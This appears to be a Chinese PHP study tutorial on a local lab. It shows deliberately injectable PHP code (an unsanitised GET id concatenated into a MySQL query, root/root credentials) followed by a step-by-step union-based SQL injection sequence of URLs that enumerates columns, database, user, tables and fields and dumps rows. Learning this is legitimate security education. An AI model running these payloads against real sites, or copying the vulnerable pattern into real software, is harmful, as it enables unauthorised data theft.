实战 · PHP学习

# 实战数据表ganyuan ![](https://img.kancloud.cn/fb/20/fb2066c4812ec07fcbd86e614b92fd52_935x73.png) 后端代码 ``` <pre class="calibre10">``` $id=$_GET['id']; var_dump($id); $query="select * from ganyuan where id=$id"; echo " "; echo $query; $link=mysqli_connect("localhost","root","root",$dbname = "test"); mysqli_select_db($link,'test'); if ($res=mysqli_query($link,$query)) { $rows=mysqli_fetch_array($res);//MYSQLI_ASSOC，MYSQLI_NUM或MYSQLI_BOTH; var_dump($rows); }else{ echo $res.'|||'; } ``` ``` 1、orderby确定列数（超过9不会返回数据，所以确定该表9列） ``` <pre class="calibre10">``` http://www.test.com/audit/sql.php?id=1%20order%20by%209 http://www.test.com/audit/sql.php?id=1%20union%20select%201,2,3,4,5,6,7,8,9; ``` ``` 查出数据库名以及mysql用户名 ``` <pre class="calibre10">``` http://www.test.com/audit/sql.php?id=-1%20union%20select%20/*!database()*/,/*!user()*/,3,4,5,6,7,8,9; ``` ``` ![](https://img.kancloud.cn/a0/bd/a0bd54988327d5077f83241e323c5610_227x326.png) 查出表名原sql查询单条数据的时候，默认返回的是第一个表名，如果需要查询其他的表名则可以通过添加limit 0,1 ~limit n,1来实现 ``` <pre class="calibre10">``` http://www.test.com/audit/sql.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,9%20from%20information_schema.tables%20where%20table_schema%20=%20%27test%27; ``` ``` ![](https://img.kancloud.cn/39/92/39920fa1cb9aaf4b1155737a380be51f_247x333.png) ``` <pre class="calibre10">``` http://www.test.com/audit/sql.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,9%20from%20information_schema.tables%20where%20table_schema%20=%20%27test%27%20limit%203,1; ``` ``` ![](https://img.kancloud.cn/03/03/0303bbd40f0ea7759cdac4b116d47951_227x335.png) 根据表查询表有哪些字段（通过加limit 0,1 ~ limit 8,1） ``` <pre class="calibre10">``` http://www.test.com/audit/sql.php?id=-1%20union%20select%201,column_name,3,4,5,6,7,8,9%20from%20information_schema.columns%20where%20table_schema%20=%20%27test%27%20and%20table_name=%27ganyuan%27%20limit%208,1; ``` ``` ![](https://img.kancloud.cn/b8/32/b832175040b43b9cb350daccab282b79_237x335.png) ``` <pre class="calibre10">``` http://www.test.com/audit/sql.php?id=-1%20union%20select%201,concat_ws(char(32,58,32),id,name,sex,star,pos,url,seniority,profession),3,4,5,6,7,8,9%20from%20ganyuan%20limit%202,1; ``` ``` ![](https://img.kancloud.cn/5d/5a/5d5a32d76fac3412a40171db962e21ed_802x323.png)